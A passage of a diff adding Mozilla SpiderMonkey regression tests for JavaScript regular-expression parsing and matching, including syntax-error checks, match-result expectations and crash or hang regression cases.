+++ b/js/src/tests/ecma_3/RegExp/regress-223273.js
@@ -0,0 +1,245 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 23 October 2003
+ * SUMMARY: Unescaped, unbalanced parens in a regexp should cause SyntaxError.
+ *
+ * The same would also be true for unescaped, unbalanced brackets or braces
+ * if we followed the ECMA-262 Ed. 3 spec on this. But it was decided for
+ * backward compatibility reasons to follow Perl 5, which permits
+ *
+ * 1. an unescaped, unbalanced right bracket ]
+ * 2. an unescaped, unbalanced left brace {
+ * 3. an unescaped, unbalanced right brace }
+ *
+ * If any of these should occur, Perl treats each as a literal
+ * character. Therefore we permit all three of these cases, even
+ * though not ECMA-compliant. Note Perl errors on an unescaped,
+ * unbalanced left bracket; so will we.
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=223273
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 223273;
+var summary = 'Unescaped, unbalanced parens in regexp should be a SyntaxError';
+var TEST_PASSED = 'SyntaxError';
+var TEST_FAILED = 'Generated an error, but NOT a SyntaxError!';
+var TEST_FAILED_BADLY = 'Did not generate ANY error!!!';
+var CHECK_PASSED = 'Should not generate an error';
+var CHECK_FAILED = 'Generated an error!';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * All the following contain unescaped, unbalanced parens and
+ * should generate SyntaxErrors. That's what we're testing for.
+ *
+ * To allow the test to compile and run, we have to hide the errors
+ * inside eval strings, and check they are caught at run-time.
+ *
+ * Inside such strings, remember to escape any escape character!
+ */
+status = inSection(1);
+testThis(' /(/ ');
+
+status = inSection(2);
+testThis(' /)/ ');
+
+status = inSection(3);
+testThis(' /(abc\\)def(g/ ');
+
+status = inSection(4);
+testThis(' /\\(abc)def)g/ ');
+
+
+/*
+ * These regexp patterns are correct and should not generate
+ * any errors. Note we use checkThis() instead of testThis().
+ */
+status = inSection(5);
+checkThis(' /\\(/ ');
+
+status = inSection(6);
+checkThis(' /\\)/ ');
+
+status = inSection(7);
+checkThis(' /(abc)def\\(g/ ');
+
+status = inSection(8);
+checkThis(' /(abc\\)def)g/ ');
+
+status = inSection(9);
+checkThis(' /(abc(\\))def)g/ ');
+
+status = inSection(10);
+checkThis(' /(abc([x\\)yz]+)def)g/ ');
+
+
+
+/*
+ * Unescaped, unbalanced left brackets should be a SyntaxError
+ */
+status = inSection(11);
+testThis(' /[/ ');
+
+status = inSection(12);
+testThis(' /[abc\\]def[g/ ');
+
+
+/*
+ * We permit unescaped, unbalanced right brackets, as does Perl.
+ * No error should result, even though this is not ECMA-compliant.
+ * Note we use checkThis() instead of testThis().
+ */
+status = inSection(13);
+checkThis(' /]/ ');
+
+status = inSection(14);
+checkThis(' /\\[abc]def]g/ ');
+
+
+/*
+ * These regexp patterns are correct and should not generate
+ * any errors. Note we use checkThis() instead of testThis().
+ */
+status = inSection(15);
+checkThis(' /\\[/ ');
+
+status = inSection(16);
+checkThis(' /\\]/ ');
+
+status = inSection(17);
+checkThis(' /[abc]def\\[g/ ');
+
+status = inSection(18);
+checkThis(' /[abc\\]def]g/ ');
+
+status = inSection(19);
+checkThis(' /(abc[\\]]def)g/ ');
+
+status = inSection(20);
+checkThis(' /[abc(x\\]yz+)def]g/ ');
+
+
+
+/*
+ * Run some tests for unbalanced braces. We again follow Perl, and
+ * thus permit unescaped unbalanced braces - both left and right,
+ * even though this is not ECMA-compliant.
+ *
+ * Note we use checkThis() instead of testThis().
+ */
+status = inSection(21);
+checkThis(' /abc{def/ ');
+
+status = inSection(22);
+checkThis(' /abc}def/ ');
+
+status = inSection(23);
+checkThis(' /a{2}bc{def/ ');
+
+status = inSection(24);
+checkThis(' /a}b{3}c}def/ ');
+
+
+/*
+ * These regexp patterns are correct and should not generate
+ * any errors. Note we use checkThis() instead of testThis().
+ */
+status = inSection(25);
+checkThis(' /abc\\{def/ ');
+
+status = inSection(26);
+checkThis(' /abc\\}def/ ');
+
+status = inSection(27);
+checkThis(' /a{2}bc\\{def/ ');
+
+status = inSection(28);
+checkThis(' /a\\}b{3}c\\}def/ ');
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+
+/*
+ * Invalid syntax should generate a SyntaxError
+ */
+function testThis(sInvalidSyntax)
+{
+ expect = TEST_PASSED;
+ actual = TEST_FAILED_BADLY;
+
+ try
+ {
+ eval(sInvalidSyntax);
+ }
+ catch(e)
+ {
+ if (e instanceof SyntaxError)
+ actual = TEST_PASSED;
+ else
+ actual = TEST_FAILED;
+ }
+
+ statusitems[UBound] = status;
+ expectedvalues[UBound] = expect;
+ actualvalues[UBound] = actual;
+ UBound++;
+}
+
+
+/*
+ * Valid syntax shouldn't generate any errors
+ */
+function checkThis(sValidSyntax)
+{
+ expect = CHECK_PASSED;
+ actual = CHECK_PASSED;
+
+ try
+ {
+ eval(sValidSyntax);
+ }
+ catch(e)
+ {
+ actual = CHECK_FAILED;
+ }
+
+ statusitems[UBound] = status;
+ expectedvalues[UBound] = expect;
+ actualvalues[UBound] = actual;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-223535.js b/js/src/tests/ecma_3/RegExp/regress-223535.js
new file mode 100644
index 000000000..1648087df
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-223535.js
@@ -0,0 +1,99 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 24 October 2003
+ * SUMMARY: Testing regexps with empty alternatives
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=223535
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 223535;
+var summary = 'Testing regexps with empty alternatives';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+string = 'a';
+status = inSection(1);
+pattern = /a|/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('a');
+addThis();
+
+status = inSection(2);
+pattern = /|a/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('');
+addThis();
+
+status = inSection(3);
+pattern = /|/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('');
+addThis();
+
+status = inSection(4);
+pattern = /(a|)/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', 'a');
+addThis();
+
+status = inSection(5);
+pattern = /(a||)/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', 'a');
+addThis();
+
+status = inSection(6);
+pattern = /(|a)/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('', '');
+addThis();
+
+status = inSection(7);
+pattern = /(|a|)/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('', '');
+addThis();
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-224676.js b/js/src/tests/ecma_3/RegExp/regress-224676.js
new file mode 100644
index 000000000..37185da42
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-224676.js
@@ -0,0 +1,192 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 04 November 2003
+ * SUMMARY: Testing regexps with various disjunction + character class patterns
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=224676
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 224676;
+var summary = 'Regexps with various disjunction + character class patterns';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+string = 'ZZZxZZZ';
+status = inSection(1);
+pattern = /[x]|x/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('x');
+addThis();
+
+status = inSection(2);
+pattern = /x|[x]/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('x');
+addThis();
+
+
+string = 'ZZZxbZZZ';
+status = inSection(3);
+pattern = /a|[x]b/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb');
+addThis();
+
+status = inSection(4);
+pattern = /[x]b|a/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb');
+addThis();
+
+status = inSection(5);
+pattern = /([x]b|a)/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb', 'xb');
+addThis();
+
+status = inSection(6);
+pattern = /([x]b|a)|a/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb', 'xb');
+addThis();
+
+status = inSection(7);
+pattern = /^[x]b|a/;
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+
+string = 'xb';
+status = inSection(8);
+pattern = /^[x]b|a/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb');
+addThis();
+
+
+string = 'ZZZxbZZZ';
+status = inSection(9);
+pattern = /([x]b)|a/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb', 'xb');
+addThis();
+
+status = inSection(10);
+pattern = /()[x]b|a/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb', '');
+addThis();
+
+status = inSection(11);
+pattern = /x[b]|a/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb');
+addThis();
+
+status = inSection(12);
+pattern = /[x]{1}b|a/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb');
+addThis();
+
+status = inSection(13);
+pattern = /[x]b|a|a/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb');
+addThis();
+
+status = inSection(14);
+pattern = /[x]b|[a]/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb');
+addThis();
+
+status = inSection(15);
+pattern = /[x]b|a+/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb');
+addThis();
+
+status = inSection(16);
+pattern = /[x]b|a{1}/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb');
+addThis();
+
+status = inSection(17);
+pattern = /[x]b|(a)/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb', undefined);
+addThis();
+
+status = inSection(18);
+pattern = /[x]b|()a/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb', undefined);
+addThis();
+
+status = inSection(19);
+pattern = /[x]b|^a/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb');
+addThis();
+
+status = inSection(20);
+pattern = /a|[^b]b/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb');
+addThis();
+
+status = inSection(21);
+pattern = /a|[^b]{1}b/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('xb');
+addThis();
+
+
+string = 'hallo\";';
+status = inSection(22);
+pattern = /^((\\[^\x00-\x1f]|[^\x00-\x1f"\\])*)"/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('hallo"', 'hallo', 'o');
+addThis();
+
+//----------------------------------------------------------------------------
+test();
+//----------------------------------------------------------------------------
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-225289.js b/js/src/tests/ecma_3/RegExp/regress-225289.js
new file mode 100644
index 000000000..8e65718c3
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-225289.js
@@ -0,0 +1,142 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 10 November 2003
+ * SUMMARY: Testing regexps with complementary alternatives
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=225289
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 225289;
+var summary = 'Testing regexps with complementary alternatives';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+// this pattern should match any string!
+pattern = /a|[^a]/;
+
+status = inSection(1);
+string = 'a';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a');
+addThis();
+
+status = inSection(2);
+string = '';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(3);
+string = '()';
+actualmatch = string.match(pattern);
+expectedmatch = Array('(');
+addThis();
+
+
+pattern = /(a|[^a])/;
+
+status = inSection(4);
+string = 'a';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', 'a');
+addThis();
+
+status = inSection(5);
+string = '';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(6);
+string = '()';
+actualmatch = string.match(pattern);
+expectedmatch = Array('(', '(');
+addThis();
+
+
+pattern = /(a)|([^a])/;
+
+status = inSection(7);
+string = 'a';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', 'a', undefined);
+addThis();
+
+status = inSection(8);
+string = '';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(9);
+string = '()';
+actualmatch = string.match(pattern);
+expectedmatch = Array('(', undefined, '(');
+addThis();
+
+
+// note this pattern has one non-capturing parens
+pattern = /((?:a|[^a])*)/g;
+
+status = inSection(10);
+string = 'a';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', ''); // see bug 225289 comment 6
+addThis();
+
+status = inSection(11);
+string = '';
+actualmatch = string.match(pattern);
+expectedmatch = Array(''); // see bug 225289 comment 9
+addThis();
+
+status = inSection(12);
+string = '()';
+actualmatch = string.match(pattern);
+expectedmatch = Array('()', ''); // see bug 225289 comment 6
+addThis();
+
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-225343.js b/js/src/tests/ecma_3/RegExp/regress-225343.js
new file mode 100644
index 000000000..bade22df1
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-225343.js
@@ -0,0 +1,91 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 11 November 2003
+ * SUMMARY: Testing regexp character classes and the case-insensitive flag
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=225343
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 225343;
+var summary = 'Testing regexp character classes and the case-insensitive flag';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+status = inSection(1);
+string = 'a';
+pattern = /[A]/i;
+actualmatch = string.match(pattern);
+expectedmatch = Array('a');
+addThis();
+
+status = inSection(2);
+string = 'A';
+pattern = /[a]/i;
+actualmatch = string.match(pattern);
+expectedmatch = Array('A');
+addThis();
+
+status = inSection(3);
+string = '123abc123';
+pattern = /([A-Z]+)/i;
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc', 'abc');
+addThis();
+
+status = inSection(4);
+string = '123abc123';
+pattern = /([A-Z])+/i;
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc', 'c');
+addThis();
+
+status = inSection(5);
+string = 'abc@test.com';
+pattern = /^[-!#$%&\'*+\.\/0-9=?A-Z^_`{|}~]+@([-0-9A-Z]+\.)+([0-9A-Z]){2,4}$/i;
+actualmatch = string.match(pattern);
+expectedmatch = Array('abc@test.com', 'test.', 'm');
+addThis();
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-24712.js b/js/src/tests/ecma_3/RegExp/regress-24712.js
new file mode 100644
index 000000000..e0089fd50
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-24712.js
@@ -0,0 +1,23 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+test();
+
+function test()
+{
+ enterFunc ("test");
+
+ printBugNumber (24712);
+
+ var re = /([\S]+([ \t]+[\S]+)*)[ \t]*=[ \t]*[\S]+/;
+ var result = re.exec("Course_Creator = Test") + '';
+
+ reportCompare('Course_Creator = Test,Course_Creator,', result, 'exec() returned null');
+
+ exitFunc ("test");
+
+}
+
diff --git a/js/src/tests/ecma_3/RegExp/regress-285219.js b/js/src/tests/ecma_3/RegExp/regress-285219.js
new file mode 100644
index 000000000..a73308d9b
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-285219.js
@@ -0,0 +1,18 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 285219;
+var summary = 'Do not crash on RangeError: reserved slot out of range';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var o = {hi: 'there'};
+eval("var r = /re(1)(2)(3)/g", o);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/ecma_3/RegExp/regress-28686.js b/js/src/tests/ecma_3/RegExp/regress-28686.js
new file mode 100644
index 000000000..d63fc2256
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-28686.js
@@ -0,0 +1,21 @@
+/* -*- tab-width: 8; indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+test();
+
+function test()
+{
+ enterFunc ("test");
+
+ printBugNumber (28686);
+
+ var str = 'foo "bar" baz';
+ reportCompare ('foo \\"bar\\" baz', str.replace(/([\'\"])/g, "\\$1"),
+ "str.replace failed.");
+
+ exitFunc ("test");
+
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-307456.js b/js/src/tests/ecma_3/RegExp/regress-307456.js
new file mode 100644
index 000000000..56f15b6a5
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-307456.js
@@ -0,0 +1,22 @@
+// |reftest| skip -- slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 307456;
+var summary = 'Do not Freeze with RegExp';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var data='<!---<->---->\n\n<><>--!!!<><><><><><>\n!!<>\n\n<>\n<><><><>!\n\n\n\n--\n--\n--\n\n--\n--\n\n\n-------\n--\n--\n\n\n--\n\n\n\n----\n\n\n\n--\n\n\n-\n\n\n-\n\n-\n\n-\n\n-\n-\n\n----\n\n-\n\n\n\n\n-\n\n\n\n\n\n\n\n\n-----\n\n\n-\n------\n-------\n\n----\n\n\n\n!\n\n\n\n\n\n\n\n!!!\n\n\n--------\n\n\n\n-\n\n\n-\n--\n\n----\n\n\n\n\n\n-\n\n\n----\n\n\n\n\n\n--------\n!\n\n\n\n\n-\n---\n--\n\n----\n\n-\n\n-\n\n-\n\n\n\n-----\n\n\n\n-\n\n\n-\n\n\n--\n-\n\n\n-\n\n----\n\n---\n\n---\n\n----\n\n\n\n---\n\n-++\n\n-------<>\n\n-!\n\n--\n\n----!-\n\n\n\n';
+
+printStatus(data);
+data=data.replace(RegExp('<!--(\\n[^\\n]|[^-]|-[^-]|--[^>])*-->', 'g'), '');
+printStatus(data);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/ecma_3/RegExp/regress-309840.js b/js/src/tests/ecma_3/RegExp/regress-309840.js
new file mode 100644
index 000000000..ff1e5927c
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-309840.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 309840;
+var summary = 'Treat / in a literal regexp class as valid';
+var actual = 'No error';
+var expect = 'No error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ var re = eval('/[/]/');
+}
+catch(e)
+{
+ actual = e.toString();
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/ecma_3/RegExp/regress-312351.js b/js/src/tests/ecma_3/RegExp/regress-312351.js
new file mode 100644
index 000000000..72a52a183
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-312351.js
@@ -0,0 +1,17 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 312351;
+var summary = 'Do not crash on RegExp(null)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var x = RegExp(null);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/ecma_3/RegExp/regress-31316.js b/js/src/tests/ecma_3/RegExp/regress-31316.js
new file mode 100644
index 000000000..fc6fd94e3
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-31316.js
@@ -0,0 +1,62 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 01 May 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 31316:
+ * "Rhino: Regexp matches return garbage"
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=31316
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 31316;
+var summary = 'Regression test for Bugzilla bug 31316';
+var cnEmptyString = '';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+status = inSection(1);
+pattern = /<([^\/<>][^<>]*[^\/])>|<([^\/<>])>/;
+string = '<p>Some<br />test</p>';
+actualmatch = string.match(pattern);
+expectedmatch = Array('<p>', undefined, 'p');
+addThis();
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-330684.js b/js/src/tests/ecma_3/RegExp/regress-330684.js
new file mode 100644
index 000000000..f6a3bb760
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-330684.js
@@ -0,0 +1,21 @@
+// |reftest| skip -- slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 330684;
+var summary = 'Do not hang on RegExp';
+var actual = 'Do not hang on RegExp';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var re = /^(?:(?:%[0-9A-Fa-f]{2})*[!\$&'\*-;=\?-Z_a-z]*)+$/;
+var url = "http://tw.yimg.com/a/tw/wenchuan/cam_240x400_381615_030806_2.swf?clickTAG=javascript:VRECopenWindow(1)";
+
+printStatus(re.test(url));
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/ecma_3/RegExp/regress-334158.js b/js/src/tests/ecma_3/RegExp/regress-334158.js
new file mode 100644
index 000000000..a56144553
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-334158.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 334158;
+var summary = 'Parse error in control letter escapes (RegExp)';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = true;
+actual = /\ca/.test( "\x01" );
+reportCompare(expect, actual, summary + ':/\ca/.test( "\x01" )');
+
+expect = false
+ actual = /\ca/.test( "\\ca" );
+reportCompare(expect, actual, summary + ': /\ca/.test( "\\ca" )');
+
+expect = false
+ actual = /\c[a/]/.test( "\x1ba/]" );
+reportCompare(expect, actual, summary + ': /\c[a/]/.test( "\x1ba/]" )');
diff --git a/js/src/tests/ecma_3/RegExp/regress-346090.js b/js/src/tests/ecma_3/RegExp/regress-346090.js
new file mode 100644
index 000000000..265c3e8d8
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-346090.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346090;
+var summary = 'Do not crash with this regexp';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var r = /%((h[^l]+)|(l[^h]+)){0,2}?a/g;
+ r.exec('%lld %d');
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-367888.js b/js/src/tests/ecma_3/RegExp/regress-367888.js
new file mode 100644
index 000000000..d2e7529b6
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-367888.js
